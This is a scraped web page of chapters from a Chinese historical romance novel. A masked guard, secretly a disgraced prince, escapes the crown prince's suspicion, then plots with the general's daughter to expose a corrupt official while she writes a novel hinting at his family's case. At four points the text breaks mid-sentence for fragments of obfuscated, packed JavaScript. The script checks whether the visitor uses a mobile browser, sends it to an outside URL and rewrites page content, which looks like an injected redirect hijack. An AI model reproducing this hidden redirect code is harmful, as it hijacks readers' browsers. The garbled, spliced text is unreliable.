l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545673|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袍的少年大步流星地走进屋内,他秀眉俊目,面如美玉,举手投足间尽显优雅高贵,此时那张俊美的脸上带着道歉的讨好表情。 心知主子们要谈私事,兰亭和太子殿下的贴身侍卫双诫早自觉地站在离门几丈远的位置。 黎书意从座位上起来,冷淡地问:“太子殿下找臣女何事?” 疏离的态度让谢煜然脸上的笑意一凝,还未还缓过神来,又闻她追加一句:“太子殿下在元贵玩得可还好?” 谢煜然登门本就是为了解释此事而来,听她这么单刀直入,顿时方寸大乱,心里头开始发虚,定了一定神,他急切地做出解释:“去元贵是父皇的命令,你知道我无法拒绝的。” 未曾理会这番托词,黎书意瞥了面前的人一眼,淡淡道:“太子殿下好事将近了吧。” 言毕,见谢煜然身子一僵。 果然如此,她在心底冷笑,虽然清楚他与那庞家小娘子的事基本上是板上钉钉了,可亲眼见他不反驳只沉默的模样,她当真失望透顶。 “你放心,我娶她完全是因为利益,我不会碰她的,我的心里从来只有你一个,等我站稳脚跟,便会给她自由,然后娶你。”谢煜然忽然一双手攀了过来,想要拉她,她立马侧身避过。 这份保证没让她感觉好受,反而让她更加失望了,她原以为心里不会再起波澜,此时却一股怒气涌了上来,便直视眼前的人质问道:“谢煜然,我知你身为太子,要考虑的事很多,可是凭什么都是我在妥协?” 近一年,发生了太多的事,让她逐渐意识到她想要的和他所能给的根本就是对立的,从前她想得太少了,有父母兄长的宠爱,眼前这人也对她百依百顺,她便以为自己是最幸福的人。 后来,她才发现她有多天真,他是太子,将来要继承帝位,他会有三宫六院,而她向往像父母那样一生一世一双人的坚贞感情。 “你忌惮我的家族,而我爱我的家族,你需要缔结姻亲平衡势力,而我天生擅妒,我们本就不适合,就这样结束挺好的。” 结束,谢煜然闻言眼里闪过惊讶与痛苦,一时失了语言。 黎书意也不说话,房间内一下子安静下来。 “站住,太子殿下还在里面,岂是你一个下人随意可靠近的?” 两方正僵持不下,外头忽然传来双诫的呵斥声。 接着听见兰亭赔笑解释道:“他是我家二姑娘的侍卫,刚入府没多久,还不太懂规矩,还请您谅解。” 这番动静打破了屋里凝结的气氛。 谢煜然从黎书意脸上收回目光,转而向外面看去,他不可能会答应结束的。 “怎么回事?”像是没听见方才那番话一样,他逃避地朝外走去。 “太子殿下,这人想闯进房间。”门外,双诫如实禀告道。 知道是谢烜赫来了,黎书意心头一慌,当下脑子里只一个念头,就是绝不能让两个人见面,作为堂兄弟,他们在弘学馆朝夕相处,谢煜然对谢烜赫的了解并不比她少。 奈何谢煜然的动作比她的脑子快,已经跨步出去了,她只好追出去。 15. 交锋 谢煜然本只是随意的一问,可当他看到廊下站着的男子时,他恍然愣住了。 只见男子身材修长挺拔,生得阔背腰圆,一身黑色侍卫武袍将他衬托得气宇轩昂。 想到这样一个人是黎书意的新侍卫,他没由来产生了危机感,于是便较方才多了几分认真。 再仔细一看,他发现这人的身形有些像一个人,关键他还戴着面具,又身在将军府中,就更显得可疑了,想到某个可能,他三脚两步走上前去。 见谢煜然朝谢烜赫走去,黎书意的心弦绷紧,一瞬间脑子里闪过许多念头,她本想上前劝阻,让谢煜然不要在这种小事上浪费心神,可是她担心那样表现会显得自己行为反常,反而欲盖弥彰,加重猜疑。 她看了一眼谢烜赫,见他双目沉静,最后便忍耐下来了。 尽管这样打算了,可她还是备感压力,眼见谢煜然已经在谢烜赫面前停下来,她衣袖下的手攥得死紧。 谢煜然的目光在面前的人脸上游弋,妄图找出相似的蛛丝马迹,可惜因为对方戴了面具,能瞧见的地方有限。 而那唯一露出的地方只能看见一对漆黑的瞳仁,连眼型都看不出来,审视良久,他冷声开口问道:“你叫什么名字?” “时野。” 这声音与谢烜赫并不相同,扫一眼男子两鬓的发辫,接着他又问:“你是安士人?” “是。” “怎么入的将军府?” “草民原是前都护府司马之子,半年前楼宛犯境,战中父亲被敌军将领所杀,之后草民便加入军中,帮忙抵抗楼宛的侵犯,因想看看父亲的家乡,所以此次战争结束后便央求大将军带草民回孟章,大将军怜惜草民孤苦伶仃,容许草民留在府中当差。” “哦,是吗?” 解释得合情合理,但谢煜然并不相信,他忽地向前迈出一步,咄咄追问道:“为何戴面具?” “幼时曾被火烧伤。” “揭开给孤看看。”他紧盯着面具背后的那双眼睛,不放过每一个表情。 身后的黎书意听了这话前所未有的紧张,据她所知,除了最开始为应付她的突然袭击,谢烜赫并不每日都易容,毕竟那面皮操作起来似乎很麻烦。 绝不能让谢煜然看到他的脸,否则后果不堪设想,谢煜然对她的确有情不假,但这情绝对比不过皇权,一旦他发现了谢烜赫的身份,那么将军府只有死路一条。 廊下,两人默默对峙,黎书意急得像如同热锅上的蚂蚁,在想到底要如何巧妙地引开谢煜然的注意力。 还未思考出个所以然来,忽见谢煜然已经抬起右手放到了面具上,她瞳孔骤然一缩,全身血液凝滞,心脏也停止了跳动。 面具被揭开了,然而露出的是一张丑陋的脸,那脸从额头到眼角皆是发皱的皮肉,看起来异常可怖。 她的呼吸和心跳又回来了。 谢煜然不知该如何形容此刻的感觉,他似乎很失望,似乎又很庆幸。 见危机解除,黎书意大大地松了一口气,未免被谢煜然看见,她快速收敛了。 哪知气才刚舒完,紧接着听见拳头打到皮肉上的声音,是谢煜然动的手,显然这些还不足够打消他的怀疑,他还想试谢烜赫的武功。 这方法黎书意曾用过,不过与她这个门外汉不同,谢煜然功夫不错,且两兄弟以前时常切磋,她将将落地的心又提了起来。 只见谢煜然一掌打在谢烜赫胸口,逼得毫无准备的谢烜赫踉跄着后退了两步,然而他并未就此作罢,转变招式后又劈下一记掌刀。 这次谢烜赫也没有干站着,他亮出右掌抵挡攻击,两人就这般赤手空拳打起来,小院响起拳脚打斗的噼啪声。 谢煜然出招刁钻,为试探显然他故意逼谢烜赫使出从前的惯用路数,企图让他露出破绽,好在谢烜赫似乎早有所料,所用掌法奇诡,完全不似中原流派。 足足过了五六十招,谢煜然才停手。 收了招,他拍了谢烜赫的肩膀一下,朝黎书意看过来,“功夫不错,好好保护她。” 她就势走过去,皱眉责怪道:“你跟一个侍卫计较什么?” 谢煜然没回答,望着面露不悦的少女,试探地问:“你不觉得他很像一个人吗?” 听见这话,黎书意便知他这是在试探她,因他素来知道她不喜欢谢烜赫,所以她只要装出不在意便可,于是她面对盯着自己的那双眼睛,疑惑发问:“谁?” 观少女眉头轻蹙,一副摸不着头脑的模样,看着像是真没瞧出来,谢煜然唇角勾起,遂一句话带过:“想不起来就别想了。” 接着,他手一伸,唤几步开外的双诫道:“把东西拿来。” 双诫应声走来,并将一个盒子递给他。 谢煜然接过盒子,然后在少女面前打开,露出了里面躺着的嵌宝石金钗,柔声说道:“觉得适合你便买了。” 黎书意却是偏转过头,看也不看。 谢煜然见状也不恼,看主人不接便把木盒递给了兰亭。 兰亭尽管看出她家二姑娘不想要,可她不敢忤逆太子殿下,只得接下了这个烫手山芋。 心知这里不欢迎自己,谢煜然不打算久留,只想着来日方长,道了句“我过几日来看你”,便领着双诫走了。 看着太子殿下携侍卫出了院门,兰亭握着手里的盒子为难地问:“二姑娘,这东西怎么处理?” 瞥一眼木盒子,黎书意毫不犹豫道:“扔了。” “这可是金银首饰。”兰亭惊呼。 见她犯难,黎书意改了口:“先放库房吧。” 这几年谢煜然送她的东西不少,她想着有时间整理出来,找个机会一并还回去。 交代完了,她看向谢烜赫,神情严肃地说:“进来,我有话同你说。” 一进屋子,待门合上之后,黎书意转头望着气定神闲的谢烜赫,“你未免也太大胆了,要是今天你没有易容,被谢煜然看到怎么办?” 现在提起来,她依旧后怕,谴责完了,又问:“不过,为何你突然又易容了?” “你不是好奇?”谢烜赫平静地看过来。 她的确很好奇来着,没想到这个巧合竟然救了他们一命。 庆幸过后,她瞥向面前的人,还是不认同他的做法,出言提点:“可即便你做了准备,也不该轻易在谢煜然面前露面,他是你堂兄,很容易看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545674|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的。” “正因如此,才更应该试一试。” “什么意思?”她扬眉。 “如果我连他都瞒过去了,证明我的伪装也就成功了。” 这么说似乎也有些道理,可这等同于用性命做赌注,实在太冒险了,便没好气地说:“不愧是你。” “不是想看吗?” 兀自生气时,听见谢烜赫问话。 她抬眼看去,见少年抬手摘下面具,望着那丑陋狰狞的伤容,她忍不住咽了咽口水,问:“我可以摸吗?” 见她跃跃欲试,谢烜赫轻点了一下头。 得了准许,黎书意缓缓伸出手,落到额头上时先滞了一瞬,然后才慢慢移动着,用指腹感受着凹凸不平的皮肤。 这胶状物有一定的韧度,且纹理细腻,虽不及真实皮肤有弹性,可若不仔细观察,确实很难辨别真假。 “好真实。”感受完了她感叹一句。 接着她把手挪到皮肤完好的地方,继续观察,少年面颊莹润如玉,比假皮部分要细腻、亮泽,便仰头说:“若是有人像我这般检查,估计还是能发现的。” 谢烜赫垂目对她道:“他们不会有这个机会的。” “也是。”她点头,他又不傻,能呆愣愣地让人上手。 好奇心得到满足,疑惑也尽数解答了,黎书意的神思回归目前的状况,然后发现了他们的姿势有多出格。 她轻咳一声以缓解尴尬,旋即远离谢烜赫,走几步坐到了榻上。 “难过吗?”谢烜赫说着在另一侧坐下。 没头没尾的话令黎书意疑惑不解,在脑子里过了一下,方才明白他说的是谢煜然,毕竟刚才他都看见了。 除了兄长以外,对她和谢煜然关系最清楚的莫过于眼前这人,因为他们三个时常待在一起。 难过吗?她自然是难过的,沉默许久,只说:“家人更重要。” 所以就是说还是难过了,谢烜赫的心像是被蜂蛰了一下。 房内一时陷入沉寂。 短暂的放空了片刻,黎书意的思绪飘到了其他地方,如今他们彻底是一条船上的人了,然而许多信息她还不知道,不如借着这个机会好好问一问。 “这半年来,除了避人耳目,你应该还做了其他的事吧,可有调查出什么?” 话落,见少年神色滞了一瞬,接着他眉宇间变得晦暗不明,半晌那透着历经沧桑的深沉眼眸望过来,喉头划动了一下,声音冷肃地说道:“告密者说起义头领是我父王的人,可那人只不过是在王府开棚发放救济粮时来过两回,与父王并无其他交集,那挖出盔甲军械的地点更是父王母妃一年到头都不会光顾一次的别苑。” 昭王是黎书意的世叔,她在情感上偏向于他,甚至觉得当中大有隐情,可是这些解释不足以证明什么,毕竟别人可以质疑说领救济粮便是联络做的伪装,把盔甲军械藏匿在不常住的别苑是为了隐秘行事,如今王府的侍从和起义的叛党都已经被诛杀了,想要辩白根本死无对证。 她能想到的,谢烜赫也一定想到了,那么这话的意思是……凝思片刻,她眉头一展,问说:“你觉得告发的人说了假话,想从他入手?” 16. 交底 因对昭王案十分关心,许多相关情况黎书意私下都有了解过,她记得告密者好像是昭王府大农,名叫李振益,专门负责府中农产和税收事务,现在已经是社郡的郡守了。 当时她也曾怀疑过,因为李振益是从中获了利的,只是她还未来得及与父兄交流更多,他们便远征安士了,想到这,她追问:“你在他身上可有查到什么?” “李振益出生于前朝没落贵族,自幼开始读书,身上有一定的才学,二十五岁时他受地方官员的举荐,被任命为郡中下属县城黍县的主簿,三年后升至县丞,不过在任上干了五年便辞官了,之后他离开了社郡,携家小搬来陵光,凭借着好口才和处事圆滑,在那里很混得开,后来受人推荐,入王府做了大农,事后他因功升迁,任社郡太守,这半年来他在政绩上毫无建树,贪污受贿欺压百姓的事倒是做了不少。” “所以你打算罗列他的罪状呈报朝廷?” “不,”谢烜赫摇了摇头,他双眼微眯,眸底闪过凌厉的光芒,“这半年我让手下暗卫仔细调查过,发现他与父王既无冤仇,也无利益纠葛,诬告当是背后有人在指使,且一定是一个位高权重之人,如果就这么呈报罪状的话,大概率证据会落在对方手里。” “那你要如何?” 谢烜赫漆黑的眼眸望着虚空,目光阴冷锐利,声音不含温度地说:“社郡夏季多大雨,尤其六七月暴雨连天,因此常致河水决堤。为平水患,朝廷每年都要拨款运粮,而李振益则会借机带头中饱私囊,为了不被揭发检举,他私吞大部分敛取之资,剩余的部分大半用于打点郡县内的大小官吏们,小半则用于贿赂朝廷派遣的赈灾钦差。” “他们居然贪污灾银?”黎书意惊呼。 谢烜赫闻言轻哼一声,眼底闪烁着凛冽的寒光,他讥嘲地勾起嘴角道:“可不止是贪污,因水患的缘故,地里庄稼都被摧毁了,当地百姓为维持生计,不得不将田地贱卖给李氏族人,成为佃农。” “这是侵占土地?” “是。”谢烜赫证实道,然后接着往下说,“并且为了能保证这两份收益,李振益在赈灾一事上能做八分的,他却只做四五分,好让水患频发,但不致造成灭顶之灾。” 黎书意心里说不出的震惊,她实在难以相信一个地方父母官居然做出如此丧尽天良之事。 贵族豪强的宗族势力本就强大,更何况背后还有一个位高权重的未知对手,这复仇的第一步棋便不好走,思及此,她问:“你和父兄可商量出什么好对策了?” “雨季已经到了,圣上对振灾不力的忍耐力也到了……”谢烜赫意味深长地说,那幽暗深邃的目光仿佛神明在看已知的未来。 黎书意明白这话的意思,雨季到了,社郡十有八九会发生水患,一旦发生了水患,朝廷必定拨粮草与银两。 谷仓上新谷了,伺机等候许久的老鼠岂有不行动的,从前它们神不知鬼不觉地偷吃,未曾让主人注意到。 这次却不可能了,有人会在它们偷吃的时候将仓门推开,把主人带进来。 “能行吗?”她心里还是有一层隐忧,世族的问题由来已久,可一直难以根治,因其势力盘根错节,在地方在朝廷形成各种派系,不是那么好拔除的,必须得慎之又慎。 谢烜赫回道:“李氏只是一个前朝没落的世族罢了。” “那那个打开仓门的人呢?”她关心地问,眼下敌人身份尚不确定,贸然在明面上介入便是在暴露自己,可若是不介入,事情在很大程度上是不会按照期望的方向发展的。 “李振益有一亲侄,名叫李缨,我手下的暗卫在社郡调查时发现他身上背着一条人命官司,并且死者家属始终不肯私了,一路从县告到郡,又从郡告到州,但一直没有得到解决。” 这个走向不令黎书意意外,被告的是自己人,当然会选择包庇,无论向上告多少回,只要没走出利益圈子,受害者永远无法沉冤得雪。 不过,现在不一样了,她看着面前的少年,有了父兄和谢烜赫的保驾护航,这回死者家属的诉求一定可以上达天听。 细细了解了一番,她觉得此法可行。 想到刚才谈话时,谢烜赫提过两回暗卫,王公侯爵都有自己的情报网络,她当然不相信谢烜赫是一人孤军奋战,到底有些好奇,便问出口了:“王府还余有活口?” 谢烜赫闻言抬眸望过来,深沉的面色微有缓和,轻抿着的薄唇张开道:“除却陵光王府和孟章王府的侍卫,祈安阁其他据点的暗卫并未受牵连。” 祈安阁……黎书意在心中默念这三个字,这便是昭王府的情报组织吗?为祈求安宁所设? “那孟章其他地方还有联络点吗?” “有。”谢烜赫点头。 其实不用问她也知道定然是有的,谢烜赫那日能提前逃府大约也是得益于此,不过,他怎么就这么轻易地同她说了。 因为惊诧,她直截了当问道:“这么机密的事情,你就这样告诉我了?” “你想知道的我都会告诉你。” 这毫无保留的态度令她微微一怔,后来再一想,毕竟他们目前在同一条船上,是该彼此信任,同心协力,于是慢半拍回应了一个“哦”字。 …… 香炉青烟浮动,清幽的香气蔓延氤氲,室内一片静谧,只时断时续传出书页翻动的沙沙声,黎书意翻看着面前的文稿,一边拧眉思索,一边用朱笔做记号。 手上的这个故事如今写到第十回了,书中姚荐辕与姚远卓父子,以及姚家其他男丁早就赶至边境,目前已经驻守城池两月有余。 期间,他们重整军队,让这片死气沉沉、备受摧残的贫瘠之地有了几分生气,很快便赢得了当地百姓的称颂。 按照原本的构思,接下来这座边城即将遭遇外敌扰境,这对父子会带领将士顽强抵抗,最终他们成功地抵御了侵犯,此役结束后更是民心所向。 奈何这几日黎书意脑中突然冒出一个新点子,且越发占据主导地位,这让她迟疑不决起来。 故事是因为昭王之乱才诞生的,作为这件大案里的主要人物,谢烜赫的意外出现给她造成巨大的冲击,他与父兄所谋之事促使她殚精竭虑,这一转变左右了她的创作思路。 她无法像父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545675|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄一样上阵杀敌,也没有谢烜赫的出色身手,可她不想做一个局外人,她要用自己的方法来保护她的家族。 身为一个文人,纸张便是她的战场,笔杆则是她的武器,讽喻现实的诗作有很多,她想她可以写一部影射现实的话本。 斟酌良久,最终她决定跟随本心,打算做一次大调整,在书中创造一个以谢烜赫为原型的人物,写一个遭遇污蔑被灭门的角色的复仇故事。 或许未来某一天,等到了恰当的时机,她可以通过某种方式向外界透露她的话本是基于现实而创作的。 叛乱是重罪里的重罪,平常连提都不能提,想要翻案并不容易,只有借助民间舆论才能有平反的机会。 昭王叛乱之事举国皆知,当时不少人便对此表示怀疑,现下透过话本告诉民众这事确实另有内情,凭借着昭王积攒多年的清誉,他们定然会想要探寻真正的真相,而朝廷迫于压力也不得不重新展开调查。 若是以此为动机的话,那么她就得好好斟酌这个复仇者的故事了。 和先前对自家的考量一样,新人物在身份、外貌和境遇等方面都做了一定的调整,为了映照谢烜赫幸免于难,并且隐姓埋名的现实经历,她甚至加入了怪力乱神的元素。 故事里,因诬陷被抄家灭门的是开国诸侯王辛伯善,事发之后,辛家无一人幸免,他们全死在了镇压大军的刀下,世子辛君赫由于怨念深重,得上天垂怜,他意外重生在一个叫萧礼的少年身上。 萧家原是富甲一方的商人,萧礼小时候生活优渥,后因父母早逝而家道中落,由于身旁无人庇护,他受尽欺辱,姨父为图剩余的薄产,竟然不惜毒害他。 辛君赫发现自己重生后,决定改变命运,他想要建功立业,报家族血仇,考虑到走文士之路限制多晋升慢的问题,最终他选择走武将之路,武将不论出身只以军功论赏。 决定好以后,他便去乌犍投军了,那里恰是被贬的父亲的好友姚荐辕的驻守之地。 花了一个下午,黎书意方才将辛君赫的故事构思出五成来。 次日,她着手创作,将这个叫做辛君赫或者说是萧礼的角色融入到之前的故事中。 因为带了目的,她希望这本书能快点面世,至少与父兄、谢烜赫的调查进度同期,这样它才能起到作用。 将旧稿搁在左手边,白纸放在右手边,她提笔蘸墨,动手书写,不需要修改的便誊抄,需要修改的便斟酌着写下。 改写到姚写意和母亲、嫂子解决了诸多困难,归平酒楼终于得以开业的时候,书房门被轻轻推开,只见谢烜赫抬着一个托盘走进来。 之前,在他还是时野的时候,黎书意写作时一般都背着他。 在西景,虽然人们要求高门贵女要懂得琴棋书画,但是却并不赞成她们以此为生,它们只可以成为一种爱好,不想为人所议论,她不愿让太多人知道她在写话本。 如今知晓了时野就是谢烜赫,她便没这层顾虑了,因为他是除了她的家人和几个府中亲信以外,唯一一个知道她在写白话本的人。 这,主要源于她的一次疏忽。 17. 撞破 当时,黎书意在兄长的书房里创作《学崖》下卷的故事,写到一半,院里一小厮来报说昭王世子来了。 因为与兄长交好,谢烜赫休沐时常到将军府做客,而书房便是他们常待的地方,两人有时候谈诗论赋,有时候下棋品画,有时候在院里切磋武艺。 通常,黎书意都在自己的小书房里创作,那天之所以会出现在兄长的书房,是因为她需要查阅一些资料,她没有资格上学堂,所以并不知里面的具体情况。 上卷描写博士们授课,和同窗相识相知,以及馆内的娱乐活动等大小事宜全依靠兄长的讲述。 如今主角祝如瑜临近结业了,她该寻求出路了,虽然已经设定好了她未来要入朝为官,但考核选拔是她不了解的领域,好在兄长有保留试题的习惯,她可以以此作为参考。 听见谢烜赫来了,她急忙搁好笔站起身,由于纸张上的墨迹还未干,她担心将字给擦花了,于是便没有收拾,想着谢烜赫应当是不会看的。 在门口与他打了个照面,她回自己的院落里去了,坐在小厅里她脑海里满是接下来的情节,心里便不禁祈祷着谢烜赫这个不速之客能快点离开,毕竟思路打断了有时候很难再找回来。 然而,小厮一次两次回报,都说他还在与兄长下棋,最终他还被留下来用晚饭了。 自兄长入弘学馆以来,他基本上十天半个月才在家用一两顿饭,是以,只要他一回家,必定是全家人整整齐齐都上桌的。 待大厨房将饭菜备好,主屋侍女来通知她去用饭,她立刻换好了衣服,然后便往膳厅赶去。 到了厅中,见父亲、母亲、兄长与谢烜赫相谈甚欢,俨然把他当家里人一样,她不满地一撇嘴,然后向父母问了好,接着在母亲身边坐下。 佳肴美馔紧跟着端上来,在父母热情招呼谢烜赫的声音当中,他们开席吃饭。 用饭途中,黎书意发现谢烜赫好几次向她投来目光,起先她还在纳闷,后来忽然灵光一闪,意识到当是自己的稿子被他看见了。 她懊恼极了,谴责自己不该抱着侥幸心理,因为惊慌,导致她再没心思吃饭了。 吃罢晚饭,她打算去兄长书房把书稿拿回来,还未走出房门,谢烜赫趁着无人注意,同她说:“你比我想的还要大胆。” 他是笑着说这话的,表情算得上愉悦,可这却令黎书意惊慌极了,像是被闷棍击中一样,她彻底失了反应,完全想不到辩驳、威胁或是讨饶的话。 后来的一段时日,她每天都战战兢兢的,就担心外面突然传出她写话本的传闻,然而并没有。 她几乎就要放下心来,哪知道半旬之后,在一次宴会上她碰到了谢烜赫,看见她,他径直朝她走过来,开口第一句话便是:“我把《学崖》上卷看完了。” 当时她的脑袋“轰”一下炸开,心里头悲催地想,这下完了,之前他只不过读了点零散的片段,现在他不仅知道她的笔名,还知道了一半的故事。 再一深想,面前这人可是宗室子弟,自己的思想违背正统,再忍受不住刀子悬在头顶的煎熬,于是她强装镇定,直截了当地问道:“你想要怎样?” 谢烜赫轻笑一声说:“不怎样。” 她不信,只狐疑地盯着他。 良久,见谢烜赫叹了口气,解释道:“很巧,我母妃与你抱着同样的想法。” 她闻言瞪大了眼睛,难以置信地凝视着眼前的少年,对事情的走向意外极了,当时便愣住了,直到人离开了都不曾挪动半步。 回府的路上她一直在思索谢烜赫的话,尤其是最后一句。 昭王妃辛念归,关于她的传闻黎书意听过一些,她与昭王的结合一直为人津津乐道,昭王是先帝最疼爱的儿子,人们都以为他会娶高门大户人家的女儿,结果他却选了一个商户女。 而且,这商户女还只是一个富甲一方,做丝绸买卖的中等商户,甚至还有传闻说她并非那商人亲生,而是收养的女儿。 西景士农工商阶级明显,商户和世族通婚的现象并不多见,况且还是王爷呢,是以许多人都认为昭王之所以这样做,主要是为了安皇帝的心,可是一年一年过去,他始终未休妻,更未纳妾。 不管怎样,经此一叙,黎书意相信了谢烜赫应该不会暴露她的秘密,后来她便不再担心了,只叮嘱自己,日后对于书稿的保管一定要格外小心。 …… 少女伏案在纸上走笔龙蛇,目光一旦落到这灼若芙蕖的丽人身上,便难以离开。 擅诗文,工书画,精音律,大将军之女黎书意文采风流,这样的评价,在孟章求学的日子里谢烜赫听了很多,他是极认可的,然而他想看到她的更多面,别人不知道的一面。 后来他确实看到了。 那日,他按照约定来找黎长策,走到他院中,见黎书意从书房出来,两人打过照面一个离开一个进屋了。 书房他来过许多次,对里面的陈设无比熟悉,在等待好友的途中,他不经意瞥见了书案上用镇纸压着的那一堆纸张上,因黎书意刚从这里出去,他猜想这应当是她留下的。 他并非是爱擅自窥探他人隐私的人,然而那一日却违背了自己的原则,挣扎了片刻他最终走到大案前,将视线落到了写满了字的纸张上。 只见纸上字迹运笔秀巧,柔中带刚,然而,更引人注目的是内容,他原以为会是什么诗词闲作之类的,结果发现是一整段的文字,起先以为是骈文,读完才发现竟然是白话文。 这个发现令他好奇心更甚了,一竖又一竖,他看完一页又一页,直到听见外头传来黎长策与小厮说话的声音,他才离开书案,移步坐到榻上。 前两日他便与黎长策约好了对弈,可是因为无意间撞破了黎书意的秘密,当下他的心思全在她和她所书的文字上面,所以下棋的过程并不专心。 尽管没头没尾,但是凭着现有情节,依然可以看出那是一个女扮男装进入太学求学的女子的故事。 那女子似乎靠着小心谨慎,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545676|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及相熟同窗和师长的庇佑,成功地在太学待了两年多,目前正在准备结业前的射策考核。 西景太学生的生源限制颇多,别说是女子了,连商人之子都没资格,尽管只是在话本中,这想法也依旧大胆。 比起惊,谢烜赫更多的是喜,虽然一直知道她比寻常的世家女子想法更多,但是却没想到她居然抱了这样大的野心。 从前,他以为她苦修琴棋书画更多的是为了让夫家满意,毕竟她心许之人乃是当朝太子,对家世、才学、礼仪、品德有着最严苛的要求。 偷看非君子之举,他本该深埋在心底的,然而当夜他却忍不住表露出来,发现少女的惊慌以后,他既愉悦又失落。 “嗯哼!” 正想入非非,一声刻意的轻咳将他从往事中拉离。 未等反应过来,手上的托盘已经被拿走,兰亭小声斥责道:“让你送个紫苏饮,你怎么傻呆呆站在这里?” 见差事被接手了,又不想打扰桌边的人,无奈谢烜赫只好退出去,转而侍立在门口。 少顷,兰亭送完紫苏饮走了出来,她忽然转过身面对他,一脸严肃道:“时侍卫,我有事和你说。” 看着朝前走去的人,谢烜赫只好跟上。 走了十来步,前面的人猝然停下脚步,接着转过身审视地看着他,然后郑重其事道:“时侍卫,有些事我得提醒你一下。” 他垂目,不解地看着面前这个率真的小丫头。 兰亭鼓起勇气仰头看着对面的高大男子,她已经不是第一次发现这人偷看她家二姑娘了。 起初她没太放在心上,因为有时候她也会这样,二姑娘看书调香时的模样赏心悦目,看着她,时光仿佛都被放慢了一样。 可今天,这家伙的举动实在出格,兰亭愤怒地剜他一眼,回想起进屋后发现他端着托盘直勾勾地盯着她家二姑娘,她就忍不住想发火。 “我家二姑娘人长得美,又有才华,心地还很善良,很难有人不喜欢,可不是谁都有那个资格的,虽然二姑娘对我们亲和,但我们到底是下人,她可是大将军的嫡女,有些事不是你一个奴才该肖想的。” 她一口气训斥完,临了仍觉不够,遂又补充道:“前两天你也看到了,连太子殿下我家二姑娘都不领情,何况你……” 兰亭甚少说这样的话,但是她必须做这个恶人,二姑娘对她恩重如山,时侍卫的心思若是被察觉了,会对二姑娘造成困扰的,她不想二姑娘被外人议论。 谢烜赫看着兰亭,有些意外她竟对自己说这个。 “我知道了。”沉默良久,他最后给了这个回答,他本想说为何不可,然而一想到如今的身份,也只能如此说。 他想起那晚他问黎长策殴打赵承勋是否有林静仪的原因在,黎长策沉默后说将军府目前的处境艰难,不想耽误她。 他的处境比黎长策还要艰难,他身负血海深仇,世子的身份也被抹杀,如今他一个没名没姓的人如何能沾染瑶池金莲呢…… 18. 插画 午后,艳阳高照,绿柳上蝉鸣相和。 谢烜赫推门进入书房,屋子里头悄然无声,侧头往右看去,见书案前黎书意正在书写,她一手执笔,一手按纸,神情专注。 他走至桌边,将酸梅汤轻轻放到案上。 夏阳酷热,黎书意早就渴了,见深红澄澈的凉饮递到面前,遂将笔搁下,抬起白瓷碗对口而饮。 谢烜赫站在一旁,此时他的目光早移到了几乎霸占整张书案的书稿之上。 书稿被分了三份,左边的那份上面做了许多朱批,中间的那份是黎书意正在写的,右边的那份字体娟秀工整,无一星半点的修改痕迹。 有些好奇这个尚在创作的故事,他开口问道:“我能看吗?” 酸梅汤刚喝到一半,黎书意闻声动作顿住,她的作品她可以毫无负担地拿给父亲、兄长和苏先生去评判,可是要拿给谢烜赫,她忍不住迟疑了。 比起亲友而言,她最在意敌人的看法,她知谢烜赫一直看不上她,因此会更想要得到他的认可。 搁下瓷碗,她移目看着右手边的书稿,修改过后的故事她十分满意,内心不禁蠢蠢欲动起来。 犹豫了好一会,她最终点头了,将誊好的书稿往前一递。 谢烜赫伸手接过书稿,接着他拉过椅子在对面坐下,然后便认真地阅看起来。 黎书意看着他坐下,看着他阅读,静静等待着他给出评价。 等了好一会,方才注意到书稿的厚度,心知读完要些时候,便又拿起笔,蘸饱了墨,继续写起来。 他们一个人看一个人写,屋子里静悄悄的,只有笔尖触碰纸张和微弱的翻页声。 “哗!”,又轻放下一页纸,谢烜赫的双眼锁定在新翻页的文字上。 受牵连而流放至乌犍的男丁,失去支柱留守京中的女眷,看到目前为止,他已然看出黎书意这写的分明就是她的故事,主角姚写意便是她的化身。 如今将军府如履薄冰,她因为担忧所以写这样一个故事也在情理之中,有些好奇两个地方后续的发展,他继续翻页。 正这般作想,一个叫做辛君赫的新人物跃入视野,当阅完他的遭遇,他断定这写的赫然就是他! 心下不免震撼,同时好奇心也达到了顶峰,他迫不及待地继续往下看。 故事中,重生为萧礼的辛君赫为报家仇奔赴乌犍从军,因为刚开始只是一个普通的小卒,他与世伯与好友根本毫无交集。 